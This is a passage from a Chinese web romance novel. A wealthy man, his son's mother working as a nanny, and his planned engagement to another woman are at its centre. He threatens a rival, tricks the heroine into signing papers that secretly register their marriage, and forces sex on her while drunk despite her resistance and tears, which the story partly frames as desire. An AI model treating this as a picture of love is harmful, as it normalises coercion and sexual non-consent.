“温小姐,三爷还说了,要你演戏有瘾,他可以送你去电影学院去进修,说不定,你将来还真的能成为表演艺术家。” 温疏亦真想翻白眼。 这是嘲讽谁呢。 “知道了,我会准时出现的。” 张纶微微颔首,旋即离开。 王婶从厨房里出来,看着这漂亮的裙子,直羡慕,“小温,你好福气啊,三爷这么器重你,你以后有好日子过了。” “有什么好日子?你要觉得这是好日子,我让给你。” 王婶酣酣的笑笑,“我哪有这好身材啊,小温,你和三爷到底是关系啊?” “雇佣关系。”温疏亦淡淡说。 王婶没再追问,自己转身往厨房走,小声嘟囔着,“怎么你这雇佣关系,跟我的不一样呢,奇怪。” 温疏亦被迫和盛珽妄一起,出现在了夏家老爷子的寿宴。 这下可真是热闹了。 她见到了许多三年未见的面孔。 比如说盛励,比如说李江衍,再比如说,沈馨晚。 夏旖旎认出了温疏亦,拎着漂亮的裙摆,跑了过来,“疏亦,还真是你啊……” 温疏亦挺尴尬的。 刻意与盛珽妄站得远了一些,上前与夏旖旎握住了手,“旖旎,好久不见。” “是啊,我们可真是好多年不见了,你和谁来的啊?” 第45章 跟他重蹈覆辙 温疏亦看了一眼盛珽妄,压低声音说,“旖旎,我现在在盛珽妄的家里,给他做育儿嫂呢。” 夏旖旎眨眨眼,没有听懂的样子。 “育儿嫂?盛珽妄家里有孩子啊?” “这个吧,说来话长,你听我跟你说。”温疏亦开始编故事,“就是他在滨城收养了一个小男孩,而这个小男孩吧,原来一直是我在带,就是……我原来在福利院工作的,他把孩子带走,孩子有一些不适应,我就跟着过来了,我听说你们在恋爱对吗?” 本来还皱着眉头听温疏亦讲事情的夏旖旎。 瞬间眼尾扬起笑意,羞赧道,“是两家有意,我们还没有开始呢,他这个人……看起来,不太好接触的样子。” “那你喜欢他吗?”温疏亦声音小小地问。 夏旖旎红着脸看了盛珽妄一眼,收回视线,点头,“喜欢还真是喜欢。” “那要不要我帮忙啊?我跟你讲啊,他收养这个孩子,纯属是寂寞,等你们修成了正果,我就把孩子带走,不影响你们二人生活的。” 温疏亦给了夏旖旎一个包在我身上的表情。 夏旖旎被她说得脸更红了,“说什么呢,八字还没有一撇呢。” “怎么就没有一撇了,我猜他也是喜欢你,要不,他让我一起过来,不就是为了让你吃醋,催你表白心迹吗?你说是不是?” 温疏亦这胡说八道的嘴,还真把夏旖旎给说信了。 她巴巴眨眨眼,“真的吗?你说,他对我其实也有意思?” “我觉得是。”温疏亦给了一个肯定的眼神。 夏旖旎来信心了,“那看来,我们真得好好找个机会,聊聊天,把这把火烧旺一点。” “没错没错。” 温疏亦给夏旖旎打气。 一旁虽听不见温疏亦在说什么,却看在那副神情,就已经了然的盛珽妄。 松了松领带,唤人,“温疏亦,过来。” 温疏亦听到叫她,回头看了盛珽妄一眼,“马上来。” 她转头跟夏旖旎说,“我就是他的一个员工,你可千万别多想,你知道的,现在赚点钱挺难的,看人脸色,委曲求全的。” “我明白,辛苦你了。”夏旖旎表示理解。 打完招呼后。 温疏亦回到了盛珽妄的身旁,“夏旖旎跟我是高中同学,我们叙了叙旧。” “是叙了叙旧,还是在杜撰一些莫须有的剧情?” 他像是一眼就能将她看穿一般,温疏亦有点心虚,“不敢,就是叙旧。” 盛珽妄没当场拆穿她。 有长辈叫了盛珽妄的名字。 他走过去跟长辈去寒暄。 李江衍趁机将温疏亦拉到了一旁。 “疏亦。” 他看起来有一些激动。 三年了。 他没有温疏亦的任何消息。 他问过李穗安无数遍,温疏亦到底去了哪儿,她就是不说。 李穗安朋友圈里,那个长得像温疏亦的小男孩,实在让他起疑。 他一度怀疑,她结婚生子了。 直到,刚刚看到她,跟在盛珽妄的身边走进来。 他突然觉得,像是又回到了三年前。 握着温疏亦胳膊的指尖,不住地颤抖,“疏亦,这三年,你过得还好吗?三年前,为什么要离开华城,为什么不跟我说一声,就算是普通朋友,你也应该跟我讲一下,是不是遇到难处了?” 温疏亦浅浅摇头。 对于李江衍,她一直以来都是抱歉的。 “江衍哥,三年前,我突然发生了一些事情,不得已,才离开了华城,现在回来,也是不得已,所以……” 她不知道该如何解释。 她更不想把自己的糟心事,讲给任何人听。 以前李江衍不明白。 这三年,他通过很多人的嘴,也对温疏亦和盛珽妄的关系,有了一定的了解。 “你跟我分手后,跟盛珽妄恋爱了一段时间,后来你就离开了华城,是因为他吗?” 温疏亦摇头。 她不想说这些,“江衍哥,过去的事情,不想再提了。” “我明白了,你这次回来,又是因为要跟他重蹈覆辙对吗?”李江衍看不懂了,为什么要在一个男人的身上,跌倒后,还要再爬起来缠上去,“为什么疏亦?既然分手了,为什么又要在一起?为什么?他就那么好吗?” 温疏亦无法解释。 如果李江衍想知道,那就去问李穗安吧。 “抱歉,我不想说。” 李江衍一把将她搂进怀里,心疼得整个身子都在抖,“我知道,我知道你吃了很多的苦,离开盛珽妄吧,他不适合你,疏亦,我们重新在一起,好不好?” 温疏亦心里不是滋味。 如果说,这个世界上,还存在一个真心实意对她的人。 也许只有李江衍了。 可她现在这种情况,根本就…… “江衍哥,你冷静一下,有什么事情,改天我们再说,你先放开。” 她轻轻地拍了拍他的背。 李江衍偏抱着不放。 他有很多话要跟她讲。 “疏亦,你怕盛珽妄,我不怕,有本事,他在这种场合,把我打死,我敬他是条汉子。” 李江衍的话刚落地。 盛珽妄的手杖就抵在了他的左肩窝处。 力气很大,看似轻轻一杵,李江衍整个人,差一点飞出去。 “江衍哥……”温疏亦抬腿就想要去扶人,盛珽妄清淡无绪的话,在她脑后传过来,“……温疏亦,你要敢过去,今天我就把他弄死,不信你就试试。” 温疏亦的脚,又撤了回来。 她知道以盛珽妄的分寸,不会太过分。 但她不敢赌。 刚好李穗安走了过来,看到李江衍摔在地上,忙伸手将他扶起来,“哥,你没事吧?” “穗安,你带江衍哥走吧。”温疏亦给李穗安使了个眼色。 李穗安立马会意,“哥,今天是夏爷爷的寿宴,别人不要脸,咱们李家还要脸呢,咱们先回去,有什么事情,改天再说。” 李江衍红着眼瞪向了盛珽妄。 那一眼,有不甘,也有不放弃。 看到李江衍离开。 温疏亦这才松了口气。 她无法责怪盛珽妄。 但也不愿意解释什么。 “没什么跟我说的?”他声音发戾。 温疏亦后背僵了僵,转眸看向他,“旧日老友重逢,拥抱一下,不犯法吧?” “所以呢,你是在告诉我,你对他旧情难忘,打算与他复燃?”他字字逼问,温疏亦步步后退,眼神更是躲闪的厉害,“这是我与他的事情,好像与三爷无关吧。” “你是我儿子的母亲,就得洁身自好。” 温疏亦苦笑。 哪条法律规定了,有了儿子的妈妈,就得单身一辈子。 “三爷恐怕对洁身自好四个字有误解,它指是一个人的品行,只要是正正当当的关系,法律都管不着,三爷何必寻这个苦恼呢。” 第46章 垃圾得配垃圾筒 “看来,没有任何约束的情况下,温小姐,实在是有一些爱想入非非了。” 盛珽妄的唇角阴戾。 温疏亦听不懂他话里意思。 就算她想入非非又怎么了? 那是她的自由。 温疏亦不再说话。 盛珽妄去哪儿,她就乖乖地跟在他身后,像一个合格的助理。 也有一些长辈认得温疏亦。 就会打听一些温家养父母的消息。 温疏亦打哈哈的,糊弄了过去。 夏家老爷子,格外喜欢盛珽妄,将他和夏旖旎拉到一起,不知道在说什么。 站累了的温疏亦。 找了个没人的地方,坐下来,准备清静一会儿。 “你怎么又回华城了?” 一道尖锐的女人声音。 抬眸,是沈馨晚。 她瘦了,原来端庄清丽的面容,也在三年的岁月中染上了些许的刻薄。 温疏亦看着她。 面相变了很多,大概过的也就那么回事。 “温疏亦,你回华城来,又得把红圈子弟,搅成一窝乱粥,何苦来的呢。” 温疏亦微眯眸子,“你想说什么?” “我说什么,你不是很清楚吗?”沈馨晚看向了盛珽妄和夏旖旎的方向,“盛珽妄已经被老爷子安排给了夏家,据说,很快,二人的婚事就会订下,你这样凭空出现,三年前你和盛珽妄之间那些事情,夏家一定会知道,你这不是要被封杀的节奏吗。” 温疏亦挑眉,“所以呢?” “你还是赶紧离开华城吧,省得给自己找这么大的麻烦,盛爷爷这两年身体不好,脾气更不好,要是知道你又出来搅和,你觉得你有好果子吃?” 沈馨晚抱着怀。 一副为温疏亦好的样子。 为她好这事,温疏亦是不信。 要说沈馨晚有点私心,她倒是相信。 “沈馨晚,你在怕什么?” “我有什么好怕的。”沈馨晚指尖抚上左手无名指上的钻戒,“离开了盛励,我照样有人要,我男朋友已经向我求婚了,我们是真心相爱的,马上就要修成正果了。” “是吗?”温疏亦轻笑,“既然你都有了男朋友了,你在怕什么?怕我抢你男朋友?沈馨晚,垃圾这种东西呢,得配垃圾筒,我可不是,你懂?” 沈馨晚气闷。 脸涨得通红,“你得意什么?你以为盛珽妄不要你了,盛励会给你一个名分?你错了,盛家人都是个势利眼,盛励才不会再选择你,盛珽妄也只会选择夏家,你注定会被抛弃。” “你别被抛弃就行,别人的事情,你还是少操心了。” 温疏亦嫌沈馨晚聒噪。 起身,去往更安静的地方。 坐下后,她才发现,这个位置,不用动就可以直接看到盛珽妄和夏旖旎。 清楚,没有乱七八糟的遮挡。 夏旖旎在跟盛珽妄说话。 他挺有耐心的,甚至身子还微微向她的方向倾斜,不知道二人在聊什么,他偶尔点一下头,唇角也有一丝若有似无的笑意。 真般配。 盛珽妄应该是喜欢夏旖旎的。 她是那么柔软的人,身材好,长得也好,家世背景也拿得出手。 在她们这些同龄大的子弟之中,夏旖旎算百里挑一。 盛珽妄是多聪明的人啊,他拎得清的。 温疏亦看到最后,夏老爷子将二人的手,握到了一起,像是在嘱托什么。 不知为何。 温疏亦心口像是被针扎了一下。 疼得有一些尖锐。 转身。 她走到了院子里,看那些花花草草。 盛励走过来,眼眸深沉的,望着她的背影出神。 许久。 他咳嗽了一声。 温疏亦转身,看向他…… “什么时候回得华城?”他问。 温疏亦无情无绪地答,“前几天。” “又跟盛珽妄在一起了?” “怎么还是这么爱打听。”温疏亦不想回答。 盛励笑了,“是关心你,温疏亦啊温疏亦,你以前就是太蠢,被背叛了那么久,才发现,当然,这是我的错,毕竟这世上,像我这样不要脸的不算多,不过,盛珽妄也不算什么东西。” 他刚才可是听到夏老爷子,将自己的亲孙女夏旖旎托付了盛珽妄。 他并没有拒绝。 “他马上要跟夏家结亲了,你跟着他,到头来,还是没名没分的,你啊……” 盛励摇头。 大概是觉得温疏亦蠢到无法可说。 叹息中,尽是无奈。 温疏亦轻嗤,“盛励,你脑子怎么还是一根筋?我和盛珽妄在一起,能代表什么?你想多了。” “你不爱他了?” “我什么时候爱过他了?”温疏亦反问。 这一句刚落地。 身后高大的人影,已经站到了她的身后。 盛励抬眸看了一眼,她身后的男人,笑得更大声,“那他挺可怜的。” 转身。 盛励走了。 温疏亦转身,视线刚好碰上盛珽妄的眼睛。 刚刚那话,他是不是听到了? 温疏亦收回视线,听到就听到。 “聊完了?” 她脸上是温和的笑意,并没有因为他和夏家的事情,而拈酸吃醋。 盛珽妄的心,因为刚刚温疏亦的话,不痛快。 脸色不算好看。 “下个月,我要与夏旖旎订婚。” 他说这话的时候,盯着温疏亦的眼睛,一瞬不瞬。 他试图找出一些她情绪里的蛛丝马迹。 温疏亦并无情绪地点头,“挺好的呀。” “阳关大道的房子,需要过户。”他又说。 温疏亦哦了一声,面色依然平静,“需要我配合对吗?没问题的。” 反正,当年那个写了她名字的房子,就不属于她。 男人抬腕看了眼时间。 “一会儿,我让张纶拿一些授权书过来,你签。” 温疏亦依然点头同意,“好的。” 二人并没有纠缠感情上的事情。 在温疏亦看来,盛珽妄已经放下了。 就是她的孩子,她得想想办法。 …… 在夏家用过餐后。 温疏亦独自先上了车。 夏旖旎送盛珽妄出来,二人站在一起,一高一低地说着话。 温疏亦托着下巴,望着二人和谐的身影出神。 她和盛珽妄‘谈恋爱’的那段时间。 他喜欢抱着她的腰,笑话她是个小矮子。 她会红着脸反驳他,“我有一米六五好不好,我不矮。” 他会笑得更大声,“好,我们疏亦不矮,我矮,我矮行了吧……” 虽然是假象。 但现在想起来,那场梦里的她和盛珽妄,真的好幸福。 走神的功夫。 温疏亦再抬眼望过时,夏旖旎轻轻地抱住了盛珽妄的腰。 男人抬手,宠溺地揉了揉她的头顶。 温疏亦笑了。 进展还挺快的。 下个月订了婚后,他们应该会住在一起。 应该很快就结婚,有自己的孩子。 那又会成为红圈里一件热闹事。 到时,盛珽妄哪有还有闲功夫管她,和她的孩子。 她可以带着哆哆回滨城了。 真的是一件好事情。 车门被打开,身旁坐进了男人,看她傻呵呵的样子,“笑什么?” “没什么,磕CP磕得很开心。”她怕他听不懂,补了句,“我看你和夏旖旎挺般配的,恭喜你啊。” 第47章 真成一家三口了 盛珽妄脸黑。 对着司机,“开车,回家。” “好的三爷。” 盛珽妄不理人。 温疏亦也无话可说。 她加了夏旖旎的微信,旁敲侧击地问一些,她和盛珽妄的情况。 [旖旎,三爷说,你们下个月要订婚,是真的吗?] 夏旖旎也没有避讳,直接说了,[对呀,爷爷决定的,没有想到,他同意了,他人真的很好,一点也不冷,还很温柔,疏亦,人真的不能只看脸,他人真的真的真的很好,我仿佛一瞬间就爱上他了。] 温疏亦扶额。 盛珽妄确实是那种,可以轻易让人爱上的人。 他做事循规蹈矩,待人接物又礼貌宽厚。 当兵出身,人是正的,现在又有这么多的财富,谁嫁给他,将来都会有享不完的福。 她心里有一些,不知道从何而来的不舒服。 也不知道,是不是嫉妒,盛珽妄对夏旖旎的一见钟情。 还是因为自己对他旧情难忘。 靠在车门上,她握着手机,继续给夏旖旎发信息,[旖旎,我有个不情之请,想请你帮个忙。] [疏亦,你有什么事情尽管说,咱们两个的关系,我能帮自然不会不帮的。] 温疏亦在心里深呼吸后。 忙打字说,[等你和三爷订婚了,可以让他把收养的孩子,让我带回滨城啊,你们肯定马上就会有自己的孩子了,这个孩子在这儿就不太合适了,说白了,对孩子的成长也不算好,你看……] [当然可以啊,你说得很对,我们订婚后,马上就会结婚的,要是有了自己的孩子,真的不适合再收养一个宝宝,疏亦,你考虑得很周全,放心吧,我会跟珽妄讲的。] 温疏亦:[旖旎,你可真好,祝你们白头到老,幸福永远哦。] [谢谢你哦疏亦。比心。] 温疏亦总算是松了口气。 她的面色明显轻松起来。 车子在半道上停下。 张纶送了一些文件过来。 “三爷这是您要的。” 温疏亦抻着脖子瞅了一眼,是办理房产转让的一些授权书。 这么急着办理过户,看来盛珽妄是对夏旖旎上了心了。 想早点跟她划清界限。 一阵电流,像是刺穿了心脏。 温疏亦重重地捶了捶胸口。 她又不难过。 为什么心脏会难受呢。 “来签字。” 盛珽妄将需要签字的文件,亲自递到温疏亦的面前。 一张一张的,亲自为她指着需要签署的位置,“这儿,别签错了,最后又是麻烦。” “哦。” 温疏亦没怎么注意签约的内容。 反正,房子不是自己的,盛珽妄要回去,天经地义。 她又没什么可损失的。 她在难过什么? 强了几口气后,她的心脏舒服多了。 也不知道,为什么办理个过户手续,为什么要签这么多的授权书。 温疏亦字越写越潦草。 总算是把字签完了。 “好累呀。”她活动着手腕,“好了吧?” 盛珽妄将签好的文件,仔细检查了一遍,对张纶说,“找王局,我需要立马拿到证。” “明白,我这就去办。” 张纶走了。 车子继续往家里开。 今天是王婶帮着看的宝宝。 回来的时候,小哆哆刚好在睡午觉。 温疏亦挺累的,脱下鞋子后,准备去房间睡觉。 王婶看盛珽妄没回来,挺好奇是个什么样的宴会,“小温,那宴会上是不是要跳舞啊?你看把你累得,腰都直不起来了。” “那倒没有,就是那高跟鞋穿的真的不合适,王婶,宝宝交给我,你也去休息吧。” “行。” 盛珽妄送下温疏亦后,让司机,将车子开到了民政局。 张纶风风火火地将结婚证拿给了他,“三爷,还热乎着呢。” 结婚证三个大字。 火热耀眼。 红得像一束光。 他从未想过,要用这种方式,跟温疏亦成为合法的夫妻。 也许是一瞬间的冲动。 也许是还有爱。 也许……他只是想把她绑在身边,让她痛苦。 也许,他只是想要一个合法的身份,方便自己对她做些什么。 三年前。 同样是这儿,他怀着激动和幸福的心情,想迎接属于他和她的未来。 被辜负。 被玩弄。 被戏耍。 终究没有拿到这个红本。 现在如今红本在手,他却早已经没了原来的期待。 盛珽妄将结婚证,将进口袋里,“这事,暂时不要让温疏亦知道。还有,哆哆的户口,去上了吗?” “上了三爷,用了你取的名字,陆乔年。” 现在,真成了一家三口了。 为什么,他不开心呢。 或许,他还在怪温疏亦当年,对他的虚情假意吧。 这三年,他试图说服自己,她的背叛和反击,只因为他当年的不告而别。 她说,爱他是装的。 她在床上的快乐,也是装的。 那什么是真的? 他现在也不知道,什么是真的。 “三爷,夏老爷子的私人警卫,刚刚给我打来电话,问下个月,你与夏小姐的订婚,他们那边有什么需要准备的吗?” “盛老爷子的病情一直在恶化,这订婚算是给他冲喜了,他把我养大,想看着我结婚,想对我的父亲有一个交代,我不想他走的时候,闭不了眼。” 盛珽妄觉得自己好像一直在还人情。 许家刚还完。 又要还盛家的。 “跟夏家那边说,他们什么也不需要准备,订婚宴设在盛家,到时去走个过场就好了。” “明白。”张纶担忧地说,“既然是给盛老爷子冲喜,但这订婚假不了,您现在跟温小姐领了证了,夏家那边恐怕不好交代。” “夏老爷子一直想回原籍修建老宅,但那块地已经被卖了,价值不低,近几年一直在涨,夏家早已经买不起,你亲自跑一趟齐城,把地重新买回来,到时,夏家拿到地,应该也不会说什么。” 张纶:“好的。” 张纶去办事。 车子停在路边,一直到夜幕垂下,他才回了家。 哆哆醒了。 温疏亦正在给他喂饭。 小家伙显然有一些害怕这个怪叔叔。 怪叔叔总是带他去做那些,令他害怕的事情。 不禁往温疏亦怀里钻了钻。 “哆哆害怕了是不是?没关系的,他就是长得吓人,其实他最疼哆哆了。” 小孩子不懂。 抱着温疏亦,不松开。 盛珽妄没说话,回了房。 温疏亦把小哆哆哄睡后。 不知道要不要去看看盛珽妄,他看起来,好像不太开心的样子,是不是……房产过户不是很顺利? 盛珽妄卧室的门虚掩着。 温疏亦轻轻地敲了敲门,“三爷,王婶给你留了饭,要不要热一下?” 第48章 你的心是不是石头做的 “嗯。”盛珽妄应了声。 温疏亦这才转身去厨房。 将饭菜重新热出来。 盛珽妄已经坐在了餐桌前,他手边是一支法国上好的红酒,已经给自己斟了半杯。 “要喝酒吗?”她问。 她记得,今天在夏家,他已经喝了不少了。 她的记忆中,盛珽妄的身体,好像不能喝太多酒。 “你喝吗?”他将酒放下问。 温疏亦摇头。 她一喝酒就出事,所以戒了。 “你也少喝点。”她说得过于自然,出口后又后悔了,结结巴巴地找补,“我不是管你,我只是……好心提醒。” 盛珽妄没说话。 半杯红酒,一口就灌进了喉咙。 他不说话。 温疏亦也不知道说什么好。 留下来不是。 走也不是。 “你要和夏旖旎订婚,订好酒店了吗?需要我帮忙吗?” 温疏亦对这件事情,表现得很热情。 盛珽妄掀起眼皮,意味不明地看向她,“我跟别人订婚,你好像很开心的样子。” “你不开心吗?我看你也很开心啊。”温疏亦不是抬杠,她真的是这么感觉的,“我看你和夏旖旎在一起,很有好感的样子,你应该很想马上娶到她吧?” “我想娶谁,谁就嫁吗?”他眼眸冷洌,像是在内涵什么。 温疏亦终是心虚,喃了句,“这不一样的,夏旖旎也很喜欢你。” “是啊。”他晃动着手中的红酒杯,笑着,“她确实是一个喜欢我的人,也是一个只会跳舞,不会演戏的人,不像有些人,演得跟真事似的,全是假的。” 温疏亦瘪嘴。 也不全是假的。 当时的情况是由不得她去真。 他又如何知道呢。 “你也骗过我不是吗?”最多算是扯平。 她也不知道,他哪来的这些不甘。 “你说什么?”男人放下了酒杯。 温疏亦猜他动气,忙起身,往后退了两步,“我没说什么,我什么也没说,我先回去睡觉了。” 温疏亦转身就往卧室里跑。 指尖刚碰到门把手。 人就被一股力,强行扯回了原地。 盛珽妄的眼底透出猩红,像一头要掠食的狼。 她干咽了口,“三,三爷,我真的什么也没有说。” “温疏亦,到底是谁给你的胆子,敢跟我这样说话的?”他真的生气了。 温疏亦害怕。 后背僵成一片。 “我,没有,我不是有心要顶撞你的,对不起,好不好?” 他耳根赤红。 分明就是不胜酒力。 跟一个喝醉的人相处,只有一个方法,那就是他说什么就是什么。 “三爷,要不,我扶你回去休息吧,我错了好不好?” 她语气低微。 盛珽妄看向她的神色不明。 温疏亦不敢看他。 伸手去扶住他的胳膊,搀着他往卧室里走,“睡一觉就好了。” 盛珽妄生的高大。 温疏亦过于纤瘦。 踉踉跄跄的,好不容易将他送到大床上,她整个人也跟着摔在了床窝里。 刚要起身。 男人就翻身将她压在了身下。 “你,你要干什么?”她害怕,声音颤着,双手护在了胸前,“三爷,你喝醉了,还是赶紧休息吧,要不明天早上起来,会头疼的。” “温疏亦,你装什么?”他大手握着她的下巴,跟她接吻。 三年前。 他们之间的最后一次,也是这样,他喝了很多酒,一边吻她,一边解她的衣扣。 她缠着他。 要了几次,都不够,像做某种仪式。 可是现在,他们为什么还要这样? “盛珽妄……”她想推开他,换来是他更用力的钳制,以及恼怒而又令人恐惧的眼神,“……三爷,我们已经没有关系了,你这样对我,你对得起夏旖旎吗?她马上就是你的未婚妻了,做人不可以这样。” “呵。”他冷笑,嘲弄地看着她这张精致的小脸,“你还教训起我来了?温疏亦,你算个什么东西?你以为你是我的谁?” “我……我不是你的谁。”她早已经不是了。 心脏被刺疼了。 总不能抓着他的肩膀说,盛珽妄,我们各自欺骗了一次,就两清吧好吗? 更不可能说,要不,我们都把过去的对与错全忘了,试着重新开始,给小哆哆一个完整的家。 她能怎么办? 就算现在她搂着他的脖子说,离开华城的三年,她梦里最多出现的就是他,他就能信吗? 男人的恨意,与女人是不一样的。 他的恨,可能是一辈子。 温疏亦将脸撇开,不看他。 他不喜欢。 这次的吻,更强烈一些,他咬破她的唇,在她脖子上吻出很多的痕迹,哪儿哪儿都是。 盛珽妄很猛。 温疏亦受不住。 哭了。 但盛珽妄并没有因此停下来。 几次过后,他喘息着将脸埋进她的颈窝里,委屈又不甘地质问她,“为什么,温疏亦,三年前,为什么要这么对我?你的心不会痛吗?你的心是不是石头做的?” 温疏亦望着雪白的天花板。 无法给出答案。 她的心不是石头做的。 她也会疼,她会内疚,也会想念他。 可她不会说。 “盛珽妄,从我第一次喝醉酒那天起,就是我们之间错误的开始,三年又三年,我们终于结束了这种错误,你也马上有新的爱人了,我真的由衷地为你开心。” 盛珽妄不知道是该说谢谢,还是夸温疏亦懂事。 他深吸一口气。 将女人推开,扯过睡袍,披在身上,又是清冷禁欲的模样,“以后,你多了一个工作,暖床。” 温疏亦咬了咬唇。 目送着盛珽妄走进卧室。 她才捡起自己被扯坏的衣服,一瘸一拐地往自己的房间走。 走进浴室。 单面镜里,是她亲热后满身的痕迹。 温疏亦觉得自己挺狼狈的。 可她又不否认,他依然可以给她带来前所未有的快感。 她的身体是诚实的。 可她很讨厌这种诚实。 让她觉得自己记吃不记打。 洗了个澡,刚准备躺下睡觉。 就听到外面传来了呕吐的声音。 盛珽妄今天喝了太多的酒,那么多次激烈的情事,他不难受才怪。 温疏亦条件反射地想下床。 理智让她没有冲动地冲出去,而是选择了重新上床睡觉。 她想赶紧睡觉。 耳听不到,心就不烦。 后来,盛珽妄呕吐的声音是听不到了。 什么动静也听不到了。 温疏亦蹭的一下,从床上起来。 心口暗叫,坏了,不会是…… 她拉开门,几步跑到盛珽妄卧室的门口。 人,果然没有床上。 她转身去了浴室。 最先看到的是马桶里的血。 吐血了? “盛珽妄,你还好吧?你别吓我啊……”温疏亦慌了,抱着盛珽妄的脑袋,开始打电话叫120,“……你别死啊,我马上叫救护车,你挺住……” 盛珽妄被送进急救室抢救。 顾临听到消息,急慌慌地跑过来,看到温疏亦那一瞬。 他小小惊讶了一把,“你……他……,怎么回事?” “可能是胃出血了吧,喝了太多的酒,我也不知道,马桶里全是血,我,我……”温疏亦心跳的她很慌,那种前所未有的恐惧感在支配着她,“……顾医生,你说他会不会死啊?” 第49章 她要不起他的感情 “这三年来,他每日酗酒,这胃早就坏掉了。”顾临大概猜出了病情,“可能是胃穿孔吧,死不了,但如果不好好养,发展成癌的概率还是蛮高的。” 温疏亦一阵难过。 他还真是不爱惜自己的身体。 不过日后和夏旖旎结婚了,应该慢慢会好起来的。 “死不了就行。” 顾临:…… 这说的,不像是人话啊。 “温疏亦,你是真不知道,还是装傻啊?” 温疏亦眨眼,蹙眉,“什么?” “盛珽妄这三年来,每日酗酒,不是因为你把她给甩了吗?你怎么还没事儿人一样的?”顾临不想插手别人的情感,但对温疏亦有气是真的,“既然你们都有孩子了,就各退一步,和好得了,别整天跟演苦情剧似的,累不累啊。” 温疏亦:…… 他这是在指责她吗? 明明是盛珽妄要订婚了,他要娶别人了,又不是她另寻了高枝。 “顾医生,盛珽妄和夏家马上要结亲了,这事你不知道吗?是他要开始新的生活了,我再跟他和好,我成什么了?永远上不了台面?永远在他需要我的时候,我就要陪在他身边?你觉得这是我想要的吗?” 温疏亦漂亮的小脸泛起冷光。 她不是非要跟顾临争辩,这段感情里她受的委屈。 她只是个女人。 她想要的是一个家。 一个很爱她的人,对她一心一意的人,给她的一个港湾。 盛珽妄? 她要不起他的感情。 也玩不起游戏。 深呼吸过后,温疏亦气息变得平和。 “当年,他握着我亲父母死亡的真相,直到盛宗杰被抓走,也没有打算告诉我,他把我弟弟藏起来,不让我见,又说没找到,这种把我当成傻子一样的欺骗,我难道不该恨不该怨吗?难道,是一笑就可以了结的事情吗?” “顾医生,你是盛珽妄的朋友,你自然看到的都是他受到伤害和委屈,但事实就是,在我和他之间的故事里,我只骗过他一次,而他呢,骗过我最少三次。” “要论可怜,我才是最可怜的那一个,你别替他鸣不平,我不欠他的。” 温疏亦一顿输出。 顾临动了动唇,也不知道该如何往下接。 他听盛珽妄讲过,当年许初音逼着温疏亦做的一些事情。 这明明就有误会,有误会就可以解开,何必闹得苦大仇深的,“我知道,有很多事情,你是身不由己,但珽妄对你的感情不是假的,这点你看不出来吗?” 温疏亦笑了。 觉得挺讽刺的。 “如果他对我是真的,这三年,他应该全世界地找我,无论是向我解释,还是要我的解释,他都会要一个结果的,他没有, 如果他真的对我还有感情,他就不会去跟夏家结亲,更不会下个月就要跟夏旖旎订婚,顾医生,你也年纪不小了,不会单纯到认为,一个男人会为了所谓的一时情动,放弃一个很好的联姻对象吧?” 顾临:…… 他被教育了。 好像他还找不出理由来反驳。 “也许他有苦衷吧。” “谁没有苦衷,你只看到了他的苦衷,却忽略了别人的苦衷,这样合适吗?” 顾临被怼得节节败退。 他从来没觉得温疏亦是一个伶牙俐齿的人。 现在见识到了。 人,真的是会改变的。 无论是面前的女人,还是在急救室里男人。 他们都在变。 而他这个旁观者,眼中的他们,到底是清,还是浊呢? 急救室的灯灭了。 有护士推着盛珽妄出来。 他用了麻醉,人还在昏睡着。 顾临快走几步,迎过去问,问向急诊的医生,“宋医生,怎么样?没事吧?” “他的胃,问题挺严重的,要是再不好好养,要出大问题的。”宋医生摘下口罩,“这位是你的朋友?” “发小。” “那你可得好好劝劝,年纪这么轻,万一运气不好,真得癌了,那可就难办了。” 顾临点头,“我会劝他的。” 盛珽妄被推去了病房。 温疏亦没进去,转头给夏旖旎打了个电话,把盛珽妄的情况说了。 那头听起来还挺着急了。 不出半个小时,就出现在了医院里。 “疏亦,侹妄哥他怎么了?怎么突然就……” 温疏亦轻描淡写地解释,“喝多了吧,胃出血,你去照顾他吧,我就不留下了,我还要回去照顾宝宝。” “辛苦了疏亦。” “没有,那我走了。” 温疏亦与夏旖旎打过招呼后就离开了医院。 她没有急着走,而是在院门口挡风的地方,点了颗烟,慢慢吸着。 她有年头没抽过烟了。 不知道为什么,今天就想吸一根。 很呛。 呛得她流泪。 顾临远远地望着她纤瘦的背影,指尖的红光,忽明忽暗,像是在说着什么。 是痛苦吗? 什么年代了。 爱就大大方方的爱。 不爱就说开。 何必相互折磨呢。 一个不说,一个也不解释,任凭着误会叠加,越加码,两个人的心就会离得越来越远。 不知为何,顾临心里感觉乱七八糟的。 回到家后。 温疏亦去厨房熬了养胃的粥,让王婶给盛珽妄送了去。 千叮咛万嘱咐的,不让王婶说是她熬的。 只是盛珽妄喝第一口,就尝出了熟悉的味道。 “王婶,这粥是你熬的?” 王婶这人没撒过谎,这么一问,她还真有点心虚了,“三爷是喝着味道不好吗?要不,我再重新熬一份?” “不是你熬的?” 王婶心一慌,马上承认了,“是小温熬的,是不是手艺不行啊,您要是不爱喝,我马上回去再重给您做。” “挺好的。” 男人胃口出奇的好。 粥喝了个七七八八。 夏旖旎怕他撑着,又不敢多说,只好委婉地说道,“看来温疏亦的手艺,比王婶要好,这粥都要喝得见底了。” 王婶尴尬得咧了咧嘴。 盛珽妄没说话。 喝完后,就躺下休息了。 张纶走进来,看了一眼病床上的男人,对着夏旖旎说,“夏小姐,三爷他现在需要休息,要不您就回去吧,您在这儿,他还得顾及您,休息也休息不好。” 夏旖旎虽然不想走。 但张纶说得在理。 她便没有再坚持,“那我改天再来看他,让他先好好修养着。” “我送您回去夏小姐。”张纶做了请了手势。 夏旖旎,微微颔首,便跟着张纶离开了。 王婶收拾了饭盒,回了家。 温疏亦正在陪着哆哆在读童话书。 看到王婶进来,“王婶,粥他喝了没?” 第50章 那晚上是个意外 “喝了,还夸你做的味道好呢。”王婶将饭盒往餐桌上一放,就去逗小哆哆,“真奇怪,三爷就尝了一口,就说这粥不是我做的,他对我饭的口味,记得还蛮清楚的。” 温疏亦笑笑。 自当她说得对。 “只要他喝了就行,咱们这些打工,尽到心意就行。” “是啊。” 盛珽妄住院的日子。 温疏亦没有去看过一眼。 她像一个尽职的育儿嫂,精力都用在了儿子身上。 听说,夏旖旎隔三岔五地去陪着。 有能力的狗仔还偷拍了许多,二人在一起的甜蜜画面。 报道的内容,写得也很温馨。 全华城的人,都知道,盛珽妄和夏旖旎的好事将近。 温疏亦眼不见心不烦。 这天。 她带着哆哆去吃肯德基。 一出门,就遇上了李江衍。 李江衍错愕看着她怀里的孩子,许久才找回自己的声音,“这宝宝是……” “我儿子。”她扬着笑脸说。 